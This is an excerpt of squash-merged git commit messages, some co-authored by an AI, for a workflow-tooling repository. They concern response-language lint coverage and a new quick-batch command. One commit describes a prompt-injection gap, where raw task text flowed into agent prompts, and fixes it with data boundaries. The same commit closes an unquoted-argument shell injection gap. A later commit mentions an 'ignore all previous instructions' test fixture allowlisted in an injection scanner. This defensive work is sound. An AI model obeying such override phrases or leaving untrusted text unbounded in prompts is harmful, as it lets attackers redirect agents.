`tests/features-index-gate.test.cjs` was already red on the mismatch. Both requirements now live in docs/features/response-language-config.md alongside REQ-LANG-01 and -02. Regenerating produces a docs/FEATURES.md that is byte-identical to the committed one, so the text this PR shipped is unchanged -- only its source of truth moved to where #3840 put it. The docs-guard registration is widened to name the fragment as well as the projection. The requirement's source is the fragment now, and an edit there that skips regeneration would otherwise reach this guard through neither path. Verified: features-index-gate 68/68, lint-docs-guard-registration 0 violations, ci-docs-guard-registry + response-language-coverage 142/142. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> chore(#2529): hand the plan-phase ack back to its new live owner `c933184b` (#3825) landed `3172-stated-failing-direction.json` on `next` after fragment had adopted that path when the sweep left it unowned, so the merged tree named it from two sources -- a hard failure in `scripts/lint-emitted-drift-ack.cjs`. The path has a live owner again, so the append route applies: this PR's note joins that entry, carrying its own measurement, and the key is dropped from this PR's fragment (84 keys left, the others untouched). The provenance sentence written for the swept-fragment case is removed rather than reused -- this path was never orphaned, so that account of it would be false. Same shape as `review.md` and `plan-review-convergence.md`: ownership is a property of the merged tree, and a fragment landing upstream after a push can reclaim a key no local check would have flagged. Verified: lint-emitted-drift-ack exit 0, lint:ci exit 0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2529): state byte figures that are true against the tree The reference claimed `execute-phase.md` has "2 bytes of headroom under the ceiling named below". That was true when the sentence was written -- the file sat at 93398 against the 93400 comfort assert -- and upstream has since shrunk it to 91493 against a 93600 hard ceiling, so the figure now understates the headroom by three orders of magnitude. The rationale the sentence supports does not depend on the number, so the number is gone rather than refreshed: a restated figure would go stale again on the next upstream edit, and nothing parses it. Audited every other numeric claim this PR ships the same way, mechanically against the merge base: all 82 FILE-delta claims in the ack fragment match the real per-file delta exactly, and the 1,629-byte reference and 63-byte import line check out. One class was imprecise: the 41 notes for workflows whose inline directive was rewritten in place quoted the conversion counterfactual as "+1,692 bytes more loaded context", which is the reference form's whole weight, not the increase over the inline directive those files already carry. Each now names both quantities and the net (+1,605 / +1,609 / +1,584). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2529): one rule for pinned vs inherited coverage, and the docs to pick it Review measured that 14 of the 35 pinned fragments would pass by inheritance anyway, and that the PR asserted both readings at once: inheritance is real coverage (so those 14 pins are noise) or it is not (so 30 inheriting fragments are green-but-uncovered). Only one can be true. Inheritance is real: the predicate proves it per file -- the parent must dispatch this exact path from a read/execute context AND be covered itself -- so the parent's directive is in the loaded context by the time the fragment is read. The 14 pins are therefore removed along with the directive lines they pinned, and those files inherit like the 30 structurally identical ones. The rule is now stated where the set is declared, and enforced from the other side by a test: no member of the pinned set may be one that would have inherited. That is what decides the form for the next fragment. - pinned set 35 -> 21; 14 workflow files revert to their base content - `findViolations` no longer returns early on a pinned path: a file that becomes eagerly loaded and takes the shared reference is strictly better off, and the gate must not red that. The reference form is admitted because its own wording is validated in turn; an arbitrary reworded inline line still fails. - the reference-directive cache is keyed by size and mtime, not by path alone, so a rewritten reference re-asked in one process no longer returns the stale verdict - `carriesInlineDirective` names its negation blindness: four independent hits read vocabulary, not polarity - the real-tree scan asserts each source produced files instead of `> 152`, a constant that read as the workflow count and would have passed a scan that lost one of its two directories - the pinned-set size assertion goes the same way: the size follows from the rule, so the rule is what the suite asserts Docs, for the gate that now governs every future workflow: - `docs/contributing/response-language-coverage.md` -- why the narration class is the discriminator, the four coverage forms, the decision order that picks one, the pinned line, and what each failure message means - a row in CONTRIBUTING.md's CI checks table, matching the docs-guard row - `docs/CONFIGURATION.md` points at it from the `response_language` entry Also: the changeset said 45 reworded workflows; it is 44 (42 @-reference + 21 pinned + 44 rewritten = 107 touched). That text ships to CHANGELOG.md. `3707-parse-gap-reporting.json` landed on `next` reclaiming `audit-uat.md` and `progress.md`; both handed back by the append route, leaving 82 keys here. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2529): correct the reference-taker count, 43 -> 42 The ack notes said the import line is byte-identical "in each of the 43 workflows that take the reference" and that the alternative would be "43 inline copies". The shared reference has 42 importers; the 43rd file in review's table is `execute-phase.md`, which imports the OTHER reference. Corrected in all 41 notes that carry the sentence, across this PR's fragment and the two it appends to. Found by re-running the numeric audit from the previous round after the rebase, which also re-verified all 84 FILE-delta claims against the new base -- all exact. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * chore(#2529): migrate the emitted-drift ack from a fragment to commit trailers ADR-3942 (#3954) landed while this PR was open: the acknowledgment is now a commit trailer and tests/emitted-drift-acks/ no longer exists. The fragment is deleted and each key it declared becomes one trailer, reasons unchanged. The four keys this PR had handed to 3034-, 3172- and 3707-* under the one-source rule come home here. That rule was the whole reason for the hand-backs, and the trailer model has no shared namespace to collide in -- five of this PR's rounds were spent on exactly those collisions.

It now accepts both spellings and matches the relative one on a path boundary, so `vendor/<path>` cannot vouch for `<path>`. Recognizing that spelling makes one pin redundant: execute-phase.md dispatches executor-isolation-dispatch.md the same way, so the fragment inherits and its own copy of the sentence comes back out. That is the rule round 29 encoded, enforced by the test that measures it rather than by hand. `output` was the one term in USER_OUTPUT_RE without an `s?`, so "translate all outputs, including narration between tool calls" read as uncovered. The new property tests caught it on their first run. Those properties pin the rule the hand-written cases are instances of: four signals on ONE line accept, dropping any one rejects, spreading them across lines rejects. The vocabulary is written out in the test rather than read back from the script's regexes, per CONTRIBUTING.md "Fixture provenance (#2371)" -- a generator seeded from the matcher can only re-derive what the matcher already believes, and that independence is what caught the plural. Both new properties are mutation-verified: dropping the narration predicate reds the necessity property, and collapsing the document to a single line reds the cross-line one. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * enhance(#2529): spell the narration enumeration out in the last two shorthand directives discuss-phase.md and plan-phase.md were the only two of this PR's 44 rewordings that abbreviated the inserted clause to "narration between tool calls included" instead of naming the output classes the way the rest of them do. Both forms satisfy the lint's four predicates, so nothing was broken -- but the point of #2529 is that an author reading one workflow should not have to infer what the neighbouring one means by "included". Both abbreviations were size decisions rather than wording ones, and both reasons have since expired because next shrank the files. discuss-phase.md sat 25 bytes under the 32,000-byte #717 dispatcher budget and now has 1,825; plan-phase.md sat 87 bytes under the 94,519-byte ADR-857 capstone ratchet against a +108 clause and now has 3,180. Neither budget is raised here and no unrelated prose is trimmed; workflow-size-budget and phase6-capstone-conformance both pass. discuss-phase.md started from the identical upstream sentence as verify-work.md and new-milestone.md ("All user-facing questions, prompts, and explanations in this workflow"), and those two received the full enumeration; it now matches them exactly. plan-phase.md keeps its own scope word ("orchestrator output") and its subagent pass-through instruction, both upstream's, and only trades the shorthand for the enumeration. The shorthand now appears nowhere in the catalog. The two remaining variants (plan-review-convergence.md, spec-phase.md) keep upstream's own verb and scope and end on "report prose", which is what those workflows actually emit -- rewriting those would change a directive's strength, not its wording. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2529): match the workflow extension case-insensitively in coverage discovery `findMarkdownFilesRecursive` filtered on `entry.name.endsWith('.md')`, so `SETTINGS.MD` — the same file to Windows and macOS, a different one to Linux — was skipped on the only platform whose verdict gates the merge. The direction of that failure is the problem: a workflow the walk declines to see is a workflow this lint certifies by omission, which is the same vacuous pass `main()` already refuses when discovery returns nothing at all. The filter is now an allowlist keyed on the lowercased `path.extname`. `.mdx` stays out on purpose: admitting an extension states what a workflow IS, and that claim has a second half — `inheritsParentCoverage` resolves a fragment's parent as `<workflow>.md`. An `.mdx` entry belongs here next to the parent resolution it would have to move with, not ahead of it. Two tests: an uppercase-extension file is discovered AND lands as a violation rather than an exemption, and every admitted extension is spelled so the lowercasing match can reach it (an uppercase or dotless entry would be dead configuration that reads like coverage). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * enhance(#2529): cover the quick-batch workflow that #3676 landed uncovered `next` gained `quick-batch.md` and nine step fragments in `2f64e6230` (#3676, PR #4212) with no response-language directive, so the merge result reds this PR's own lint with 10 violations. The lint is doing exactly what it exists to do; the coverage is what has to move. `quick-batch.md` takes the shared @-reference on line 1, the same as the other 42 top-level workflows, and eight of the nine fragments then inherit through its `read and execute` stubs. The ninth does not: `quick-batch/steps/plan-checker-loop.md` is dispatched by a SIBLING fragment (`planner-wave.md:134`) and named in the parent only inside a parenthetical with no dispatch verb, which is the shape round 29's rule already covers for `execute-phase/steps/regression-gate-run.md` and `plan-phase/steps/prd-express-path.md`. It carries the pinned inline directive and joins `EXACT_INLINE_DIRECTIVE_WORKFLOWS`; the comment above that set now names four such fragments instead of three. Coverage: 163 workflows. `FULL_BUDGET` in tests/skill-frontmatter-contract.test.cjs moves 844 -> 846. The same commit grew `help/modes/full.md` from 834 to 844 lines, landing it exactly on the ceiling with zero slack, and the two lines this PR adds there are its pinned directive and the blank separating it. That is a coverage contract every workflow carries, not the content creep the budget guards. The #597 ratchet rule holds: actualMax 846, slack 0, well inside LARGE_GRACE. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Emitted-Drift-Ack-Growth: quick-batch.md — #2529: the workflow arrived on `next` in `2f64e6230` (#3676, PR #4212) with no response-language directive, so this PR's lint reds on the merge result; covering it is the PR's whole contract, not an optional extra. It gains the shared directive as a single eager `@`-reference line, the identical form the other 42 top-level workflows take. FILE delta: +62 bytes, as the gate measures it. LOADED-CONTEXT delta: +1,691 bytes — the import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates read the FILE and not the transitive inline, so they see 62 of those 1,691 bytes; the remaining 1,629 are declared here because no gate reads them. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Nine `quick-batch/steps/` fragments are covered without a byte of their own — eight inherit through the parent's dispatch stubs, and the ninth takes the pinned inline sentence, which the emitted surface does not measure. fix(#2529): scope row 48 by what a diff says, not by which paths it names `tests/gsd-quick-batch-quick-regression.test.cjs` treats any branch touching a `quick-batch` path as #3676 phase work, then forbids it from editing ordinary `quick.md`. This PR covers EVERY workflow with the shared response-language directive — quick-batch.md and its fragments included — so the scope check turned true, and the row read this PR's one-line directive on `quick.md` as a phase violation. That is the false positive the row's own #3730 note already scoped away from, arriving by the other door: not an unrelated branch that misses the surface, but a catalog-wide sweep that touches all of it. A path now counts as phase work only when its diff says something other than the coverage contract, and the two accepted directive forms are read from `scripts/lint-response-language-coverage.cjs` rather than restated, so a reworded contract cannot leave the carve-out matching prose the lint no longer recognizes. A file the branch ADDED still counts — every line is new, which is what a real #3676-phase branch looks like. The invariant is unweakened in the direction that matters: a phase branch that edits `commands/gsd/quick.md`, `gsd-core/workflows/quick.md` or anything under `quick/steps/` for any reason other than the directive still fails the row.

Rows covering workflow markdown / Agent() dispatch / `git worktree` behavior (16-21, 25, 29, 40-45, 48-50) remain for the follow-up markdown-authoring pass, per the phase brief's explicit scope boundary. * docs(#3676): register quick-batch-dispatch/command-router modules in bookkeeping surfaces New-.cts-module ripple for the two Phase 4 modules (epic #3344, ADR-1239 "Quick-batch binding"): .gitignore (compiled .cjs artifacts, ADR-457 build-at-publish), eslint.config.mjs (lint the .cts source, not the emitted .cjs), docs/INVENTORY.md + docs/INVENTORY-MANIFEST.json (via `node scripts/gen-inventory-manifest.cjs --write`, after `npm run build:lib`), and CONTEXT.md glossary entries for "Quick-Batch Dispatch Core Module" and "Quick-Batch Command Router Module", plus an update to the existing "Quick-Batch Core Primitives Module" entry documenting the new updateBatchItems export. * test(#3676): fold updateBatchItems tests into quick-batch.test.cjs (fix lint-test-file-count) scripts/lint-test-file-count.cjs buckets any quick-batch-.test.cjs file under the quick-batch production module by longest-prefix match, and that module is already at its 2-file cap (quick-batch.test.cjs + quick-batch.property.test.cjs). The standalone tests/quick-batch-update-items.test.cjs added in the prior commit pushed it to 3 and failed `npm run lint:ci`. Fold its content into quick-batch.test.cjs (append-only — no existing test in that file is modified) and update the CONTEXT.md glossary reference to match. Surfaced while re-running `GITHUB_BASE_REF=next npm run lint:ci` after `npm ci` (this worktree previously had no local node_modules, which also made gen-scripts-cli-exit/gen-hooks-cli-exit/gen-exit-code- unable to resolve typescript — resolved by npm ci, no code change needed there). `npm run lint:ci` and `npx tsc -p tsconfig.build.json --noEmit` are both green after this fix. * test(#3676): add failing tests for the quick-batch command/workflow markdown Failing-first tests for Phase 4's markdown-authoring pass (epic #3344, ADR-1239 "Quick-batch binding"): gsd-quick-batch-workflow.test.cjs covers commands/gsd/quick-batch.md's frontmatter/objective/process, gsd-core/workflows/quick-batch.md's byte-size boundary (row 49, ADR 1610 NEW_FILE_CAP) and step-fragment count, the isolation model (rows 20-22), the executor single-writer invariant (row 18), merge validation reusing the existing bounded primitive (row 25), the optional research/plan-checker/verification leaves (rows 16,17,19, 30,31), planning-failure blocking execution (row 29), the submodule guard (rows 36,44), and the new agents/gsd-planner.md quick-batch mode (rows 13-15). gsd-quick-batch-quick-regression.test.cjs covers row 48 (ordinary /gsd:quick stays byte-identical). Named `gsd-quick-batch-` (not `quick-batch-`) so lint-test-file-count's longest-prefix bucketing doesn't fold these markdown-only tests into the already-capped quick-batch/quick-batch-dispatch/ quick-batch-command-router production-module buckets from the CORE pass. These reference files that do not exist yet. * feat(#3676): author the quick-batch command, workflow, and planner mode Phase 4 markdown-authoring pass (epic #3344, ADR-1239 "Quick-batch binding") — the orchestration layer that calls into Pass 1's CLI verbs (src/quick-batch-command-router.cts). - commands/gsd/quick-batch.md (new): frontmatter/objective/process, delegates argument validation to `quick-batch parse-args` (parseQuickBatchArgs) rather than re-deriving the grammar. - gsd-core/workflows/quick-batch.md (new, 11843 bytes — under ADR 1610's 32768-byte NEW_FILE_CAP for a brand-new file) + 9 lazy-loaded step fragments under gsd-core/workflows/quick-batch/steps/: resume-mode, batch-init, research-phase (flag:--research), planner-wave (+ nested plan-checker-loop when --validate), worktree-dispatch, merge-wave, verification-wave (flag:--validate), completion. Covers design doc rows 3-45: capacity/isolation resolution (reusing dispatch-isolation-gate.md verbatim), per-DAG- layer planning with full-task-catalog prompts and always-required depends_on/files_modified frontmatter, serialized worktree create/ merge/cleanup via the existing worktree.cleanup-wave primitive, deterministic wave-order merging, verification routing (human_needed/gaps_found), the executor single-writer invariant, submodule fail-loud guard, and #1941 fork-base auto-degrade. - agents/gsd-planner.md: additive new `load_mode_context` bullet for `Mode: quick-batch`, pointing at the new gsd-core/references/planner-quick-batch.md reference (documents the always-required depends_on/files_modified contract, reusing the existing frontmatter grammar — no new keys). Existing modes byte-identical, only a new bullet added. - src/init.cts (+init-command-router.cts, +command-aliases.cts): cmdInitQuickBatch / `init.quick-batch` — model profiles, commit_docs, roadmap/planning existence checks, and the section_manifest field gating research-phase/verification-wave (reuses the existing flag:--research/flag:--validate WHEN_VOCABULARY atoms — no new atom needed). Rows 16-21, 25, 29, 36, 38, 39, 44, 46-50 covered structurally by the prior test(#3676) commit; rows 3-15, 22-24, 26-28, 30-35, 37, 40-43, 45 covered by construction (verb wiring, single-writer prompt constraints, crash-window resume via unmodified Phase 3 primitives). * docs(#3676): regenerate skills/inventory/section-manifest/install-tree; baseline the intentional word-splitting pattern npm run regen:derived output for the new command/workflow/reference (epic #3344, ADR-1239 "Quick-batch binding"): - skills/gsd-quick-batch/SKILL.md (generated from commands/gsd/quick-batch.md) - docs/INVENTORY.md rows for /gsd-quick-batch, quick-batch.md, planner-quick-batch.md, and the quick-batch-dispatch.cjs/ quick-batch-command-router.cjs CLI-module rows' now-live `/gsd-quick-batch` cross-reference (was "(separate, follow-up)") + docs/INVENTORY-MANIFEST.json (`node scripts/gen-inventory-manifest.cjs --write`) - gsd-core/workflows/section-manifest.json (`npm run gen:section-manifest`) — research-phase/verification-wave gsd:section entries for the new quick-batch workflow - tests/fixtures/install-tree/.json (`npm run gen:install-tree`) — the new command/workflow/skill/reference files now ship to every runtime scripts/lint-workflow-shellcheck-baseline.json: 3 new entries for gsd-core/workflows/quick-batch.md's intentional flag-token/$ARGUMENTS word-splitting (SC2046/SC2086) — the same deliberate unquoted-optional- flag pattern gsd-core/workflows/quick.md already carries baselined (e.g. `$DISCUSS_PARAM $RESEARCH_PARAM` in quick.md's own Step 2); quoting would break the intended "omit this arg when the flag is false" splitting. fix(#3676): close prompt-injection and argv/glob-injection gaps in quick-batch leaf dispatch Security review pass findings, both confirmed real: 1. HIGH — prompt injection, no boundaries. Every leaf-dispatch fragment interpolated the raw, attacker-influenced task ${description} (and the shared ${TASK_CATALOG_TABLE}, broadcasting every item's raw description into every planner's prompt in the layer) straight into Agent() prompt bodies with no boundary. Fixed by wrapping every such interpolation in a <security_context> + DATA_START/DATA_END boundary, matching the CONCRETE convention already implemented in this repo (agents/gsd-debug-session-manager.md, agents/gsd-debugger.md, gsd-core/workflows/debug.md) — commands/gsd/quick.md's own <security_notes> only asserts this convention in prose, so the debug-agent files are the real precedent followed here. Added a new <security_notes> block to commands/gsd/quick-batch.md (it had none) documenting both this fix and the one below. 2. MEDIUM — unquoted $ARGUMENTS -> argv/glob injection. gsd-core/workflows/quick-batch.md and commands/gsd/quick-batch.md both ran `gsd_run quick-batch parse-args --raw -- $ARGUMENTS` UNQUOTED, causing shell word-splitting and pathname expansion on raw task-list text before the parser ever saw it. Fixed at the source: added a `--text <string>` form to the `parse-args` verb (src/quick-batch-command-router.cts) that accepts the ENTIRE $ARGUMENTS as ONE quoted argv element and does the whitespace split itself, in Node — which is never glob-aware, unlike the shell. Both call sites now use `--text "$ARGUMENTS"`. The `-- <tokens>` form is kept for direct/test callers that already have a real argv array. The SC2086 baseline entry added for the original unquoted line is now stale (`node scripts/lint-workflow-shellcheck.cjs` no longer reports it) and has been removed; the two SC2046 entries for the UNRELATED, still-unquoted `$([ "$VALIDATE_MODE" = true ] && echo --validate)`-style conditional-flag splitting remain — that line only ever expands to one of a few known-safe literal strings (never raw user text), matching quick.md's own already-baselined convention exactly. Tests: quick-batch-command-router.test.cjs covers the new --text form (token splitting, glob-shaped text passing through literally unexpanded, whitespace-only input). gsd-quick-batch-workflow.test.cjs asserts the DATA_START/DATA_END boundary on every leaf prompt (research-phase/planner-wave/plan-checker-loop/verification-wave, including the shared task catalog) and the quoted --text call sites. * fix(#3676): strengthen test-depth gaps in rows 9, 18, 24, 34, 35 Spec review pass findings — the test matrix claimed "yes" coverage these assertions did not actually support: - Row 9 (--jobs 0/-1/abc hostile case): previously asserted rejection only. Added an end-to-end assertion (tests/quick-batch-command-router.test.cjs, committed alongside the security fix that touches the same file) that .planning/quick-batches/ is never created for any rejected value — createBatch is genuinely never reached. - Row 18 (--resume <unknown-batch-id>): previously only exercised a hand-corrupted BATCH.json, never a genuinely nonexistent batch directory. Added the real nonexistent-id case (also in quick-batch-command-router.test.cjs). - Row 24 (post-planning updateBatchItems racing a concurrent completeQuickItem for a different item, both through withPlanningLock): zero test existed. Added a property test (tests/quick-batch.property.test.cjs, appended — Phase 3's own file, no existing test touched) exercising both call orders and asserting no lost update in the final on-disk manifest — the same technique Phase 3's own row-15 lock-contention property test uses (sequential calls through the real lock; a working mutex makes any interleaving equivalent to some serial order, so this is the same claim a literal concurrent-thread test would make without OS-level threading). - Row 34 (worktree preserved on merge_failed) and row 35 (undeclared- deletion detection): both were previously asserted only at the pure routeMergeOutcome level. Added tests/gsd-quick-batch-merge-integration.test.cjs using the SAME real-git-fixture pattern tests/worktree-safety.test.cjs already establishes for executeWorktreeWaveCleanupPlan (real repo, real worktree, a REAL merge conflict / a REAL file deletion diffed against declared_deletions) — asserting the actual worktree directory survives on disk, not just that a pure function returns a preserveWorktree:true field. Named gsd-quick-batch-* so lint-test- file-count's bucketing doesn't fold it into any capped module bucket. Row 48 (/gsd:quick regression) intentionally left as-is per the reviewer's own framing: the byte-identity claim is already mechanically proven by the changed-path diff (git diff --name-only empty on those two paths IS byte-identity), and a genuine execution- level regression test would require actually running the workflow — out of scope for this repo's unit-test model (no other quick.md regression test in this repo does that either). * docs(#3676): add the changeset and user-facing docs the command needed Standards review pass findings — both HARD: - Missing changeset. None of the 6 prior #3676 commits touched .changeset/. /gsd-quick-batch is a new user-facing command; CLAUDE.md/CONTRIBUTING.md require one. Added .changeset/silly-rams-caper.md (type: Added, pr: 0 placeholder — backfilled after the PR opens, matching CLAUDE.md's own documented convention and Phase 3's own precedent, #4190's .changeset/mellow-yaks-squeak.md). Uses the docs-convention hyphen form `/gsd-quick-batch` throughout, never the source-artifact colon form (`scripts/lint-docs-command-form.cjs` confirms 0 violations; that check scans docs/, not .changeset/, so it was never actually in scope for the fragment itself, but the wording still follows the doc convention for consistency, matching how Phase 3's own fragment named the not-yet-shipped command). - Missing docs. Added docs/how-to/batch-quick-tasks.md (Diátaxis how-to, matching docs/how-to/handle-quick-and-fast-tasks.md's existing convention for /gsd-quick /gsd-fast) covering --jobs, --validate, --research, --resume, --file, the capacity/isolation interaction, and resume/failure recovery. Cross-linked from docs/README.md's how-to index and from handle-quick-and-fast-tasks.md's own "Related" section. Added a /gsd-quick-batch section to docs/COMMANDS.md (same table format as the existing /gsd-quick entry) and docs/features/quick-batch.md (REQ-QB-01..12, same frontmatter shape as docs/features/quick-mode.md) — regenerated docs/FEATURES.md (179 features) and skills/gsd-quick-batch/SKILL.md via the standard generators. fix(#3676): close docs-parity, attribution, and generated-registry gaps gsd-test caught gsd-test's real run against 155e8975b3 found 43 failures, all rooted in this phase's own new command/workflow never being registered across ~10 independent generated/hand-maintained registries this repo keeps in parity by convention. Root-caused each, no test weakened or special-cased. - help.md ↔ commands/gsd/ bidirectional parity (docs-parity-live- registry.test.cjs): added a /gsd:quick-batch entry to gsd-core/workflows/help/modes/full.md (the real help.md content; gsd-core/workflows/help.md is a thin dispatcher) documenting every flag (--file/--jobs/--validate/--research/--resume), matching the existing /gsd:quick entry's format. - gen-section-manifest.test.cjs: quick-batch.md's `gsd_run query init.quick-batch` invocation used inline `$([ ... ] && echo --flag)` substitutions, which never satisfy the test's exact-whitespace-token / assigned-variable detection (the trailing `))` glued onto `--research` in the compound substitution broke the "exact token" match). Rewrote to the same VALIDATE_PARAM/RESEARCH_PARAM two-line pattern gsd-core/workflows/quick.md's own Step 2 already uses. - runtime-launcher-parity.test.cjs: the 8 quick-batch/steps/.md fragments that call gsd_run each needed their OWN embedded copy of the canonical shim preamble (every workflow .md that calls gsd_run carries its own copy — reading one file does not persist shell state into another). Ran `node scripts/sync-runtime-launcher.cjs`, which inserted it before each file's first gsd_run call. plan-checker-loop.md correctly has none — it never calls gsd_run directly. - Namespace routing (skill-manifest.test.cjs, install-nested- layout.test.cjs, runtime-artifact-layout-surface.test.cjs): added `quick-batch` to commands/gsd/ns-workflow.md's `requires:` array and routing table (same namespace `quick` already routes through), and to src/clusters.cts's `utility` cluster (same cluster `quick` already belongs to). Verified by hand-running installRuntimeArtifacts + applySurface for augment/cline against a real temp install: exactly 6 top-level gsd-ns- router dirs, gsd-quick-batch correctly nested under gsd-ns-workflow/skills/, never re-flattened. - mcp-server-catalog.test.cjs: hardcoded command count 71 -> 72 (a brand-new command is a real count change, not a bug this test should hide). - model-omit-when-inherit-guard.test.cjs: added the canonical `<!-- #2517 model-omit-on-inherit -->` marker block to gsd-core/workflows/quick-batch.md (every leaf dispatch — planner/ researcher/checker/executor/verifier — lives in a steps/ fragment, read combined with the host by this test's own readWorkflowCombined, same as quick.md's own research-phase.md carries it for its gated section). Also fixed a genuine pre-existing inconsistency in the test's own "#2711: the guarded set is derived from dispatch sites" check: its `nonDispatching` computation read the BARE host file while `derived` (the set it's checked against) reads the combined host+steps content — inconsistent with that same test file's own #2994 doc comment explaining why the combined read is necessary. quick-batch.md is the first workflow whose EVERY model="{...}" dispatch site lives in a mandatory (never gated) steps/ fragment — extracted to stay under ADR-1610's tighter NEW_FILE_CAP for a brand-new file — which is what exposed the mismatch. Fixed by using the same readWorkflowCombined read in both places. - skill-frontmatter-contract.test.cjs: shortened commands/gsd/quick-batch.md's frontmatter `description` from 107 to 91 chars (<=100 budget), and added `quick-batch.md` to the hand- maintained KNOWN_SKILLS consolidation allowlist with a #3676 justification comment (a genuinely new first-party command, not a consolidation of an existing skill). - workflow-fragments-emission.install.test.cjs: added `quick-batch.md` to the hand-maintained MARKED_WORKFLOWS set (composeWorkflow is deliberately NOT a no-op for it — its research-phase/verification- wave sections are gated). - Regenerated all downstream artifacts (npm run build:lib && npm run regen:derived && npm run gen:plugin-skills -- --write && npm run gen:features -- --write): skills/gsd-quick-batch/SKILL.md, skills/gsd-ns-workflow/SKILL.md, install-tree fixtures for augment/cline/hermes/qwen/trae/zcode. - emitted-attribution.test.cjs: agents/gsd-planner.md's #3676 addition (one new `load_mode_context` bullet pointing at the new gsd-core/references/planner-quick-batch.md reference) grew the file 124 bytes without an acknowledgment trailer. Acknowledged below — the growth is the deliberate, additive, single-bullet change from the earlier feat(#3676) commit, not drift. Verified: npm run build:lib clean, npx tsc -p tsconfig.build.json --noEmit clean, GITHUB_BASE_REF=next npm run lint:ci fully green (includes lint-workflow-shellcheck, lint-test-file-count, lint-docs-command-form). The deep install/spawn/registry tests gsd-test actually runs (docs-parity-live-registry, gen-section-manifest, runtime-launcher-parity, install-nested-layout, runtime-artifact-layout-surface, skill-manifest, skill-frontmatter- contract, mcp-server-catalog, model-omit-when-inherit-guard, workflow-fragments-emission) are not part of lint:ci — each fix above was independently verified by hand-invoking the exact production function the failing test calls (installRuntimeArtifacts, applySurface, composeWorkflow, the CLUSTERS union, the section-manifest forwarding regex) against the real repo tree and confirming the expected shape. Emitted-Drift-Ack-Growth: gsd-planner.md — additive #3676 quick-batch mode bullet in load_mode_context (one new line pointing at gsd-core/references/planner-quick-batch.md); not drift. * fix(#3676): trim the /gsd:quick-batch help.md entry to fit the LARGE tier line budget skill-frontmatter-contract.test.cjs's "feature #3039: tiered help — size budgets" enforces a SEPARATE line-count ceiling for gsd-core/workflows/help/modes/full.md (FULL_BUDGET = 844 lines, tighten-only ratchet, scripts/lib/allowlist-ratchet.cjs's assertTightCeiling) — independent of the skill-frontmatter description- length budget and consolidation allowlist I touched in the prior round; those are unrelated checks in the same test FILE, not the same check. Root cause: the /gsd:quick-batch entry I added to full.md in the docs-parity fix round was 17 lines, pushing the file from 834 to 851 lines — 7 over the 844 ceiling. Condensed the entry (merged the per-flag bullet list into one dense "Flags:" line, dropped from 3 Usage examples to 1) to 844 lines exactly — at the ceiling with zero slack, which assertTightCeiling accepts (it only fails on actualMax > ceiling, or on slack > grace when the ceiling is too LOOSE — zero slack triggers neither). Verified after trimming: full.md still contains a live /gsd:quick-batch reference (bidirectional parity) and all 5 argument-hint flags (--jobs/--validate/--research/--resume/--file) still appear as literal tokens (docs-parity-live-registry.test.cjs's own flag-coverage check, re-run by hand against the trimmed content). Verified: npm run build:lib clean, npx tsc -p tsconfig.build.json --noEmit clean, GITHUB_BASE_REF=next npm run lint:ci fully green. * docs(#3676): backfill changeset pr number to 4212 Follow-up to fix(#3676) commits — .changeset/silly-rams-caper.md's pr:0 placeholder backfilled with the real PR number now that gh api POST /pulls has returned it (#4212). Matches CLAUDE.md's PR Number Handling convention and Phase 3's own #4190 precedent (708c5a3f8c). Doc-only (root-level .changeset/.md fragment), exempt from a fresh gsd-test run per pre-pr-gate.sh's DOC_ONLY_RE. fix(#3676): resolve prompt-injection-scan false positive on test fixture tests/quick-batch.test.cjs:232's row 11b regression proves the task-list parser carries a prompt-injection-shaped task description through createBatch as inert data, never interpreted. The fixture has to be a real "ignore all previous instructions..." phrase or the test asserts nothing, but the full-file --diff scan flagged it once unrelated edits in the same file pulled it into the changed-file set. Add the file to prompt-injection-scan.sh's ALLOWLIST, matching the sanctioned, precedented exemption already used for other legitimate security-regression fixtures (tests/windsurf-conversion.test.cjs, tests/health-validation.test.cjs, tests/continuation-grammar-parity.test.cjs) per DEFECT.PROMPT-INJECTION-SCAN-COLLISION. --------- Co-authored-by: sim <sim@local>	2026-09-02 22:38:31 -04:00

Drops the MVP conjunct from the per-task gate and the end-of-phase review escalation; rescopes execute-mvp-tdd.md's load condition, gsd-executor's gate section, and mvp-concepts' intersection claim.

Tom Boucher	bf4485ada2	enhance(#3717 ): make the edge probe's shape cues language-aware via an optional text_en field (#4156 ) * test(#3717): add failing-first coverage for text_en language-aware classification Adds unit tests for the not-yet-implemented text_en field on Requirement (fallback selection, empty/whitespace/non-string rejection, shapes-override precedence), a SHAPE_CUES/VALID_SHAPES parity guard (RULESET.GENERATIVE-FIX), and workflow-prose contract tests asserting spec-phase.md Step 5.5 documents populating text_en for response_language projects. All new tests are RED until src/edge-probe.cts and the workflow docs are updated. * feat(#3717): make edge-probe shape classification read an optional text_en field Requirement gains an optional text_en; classifyShape's own signature stays untouched (a locked, directly-tested export), and the text_en ?? text selection is pushed to proposeEdges' single call site instead. text_en is validated fail-closed: an empty or whitespace-only value throws rather than silently winning the ?? fallback and degrading classification to zero shapes. This makes the #2773 doc-only translation convention an explicit, validatable field instead of an invisible instruction, per the approved Form-1 scope on #3717. * docs(#3717): document the text_en field across spec-phase, reference and how-to docs Updates Step 5.5's response_language instructions, the edge-probe reference Inputs contract, the FEATURES.md fragment, and the non-English how-to guide to describe the new text_en field: text keeps the requirement's own wording in all cases, text_en (when populated) is the engine-only English rendering the classifier prefers. * docs(#3717): record the text_en locked-surface change in CONTEXT.md and ADR-550 Updates the Edge Probe Module glossary entry to describe the text_en field and its fail-closed validation, and appends an ADR-550 amendment recording why this is additive and does not re-open the #652 LLM-classifier rejection (text_en is a plain field read by the existing deterministic regex classifier, not a new model-dependent surface). * docs(#3717): add changeset fragment and regenerate FEATURES.md pr:0 placeholder — backfilled with the real PR number after the PR opens. * docs(#3717): attribute the text_en machine check to engine-level validation, not prose tests Code-review (Spec axis) finding: the workflow-prose contract tests and 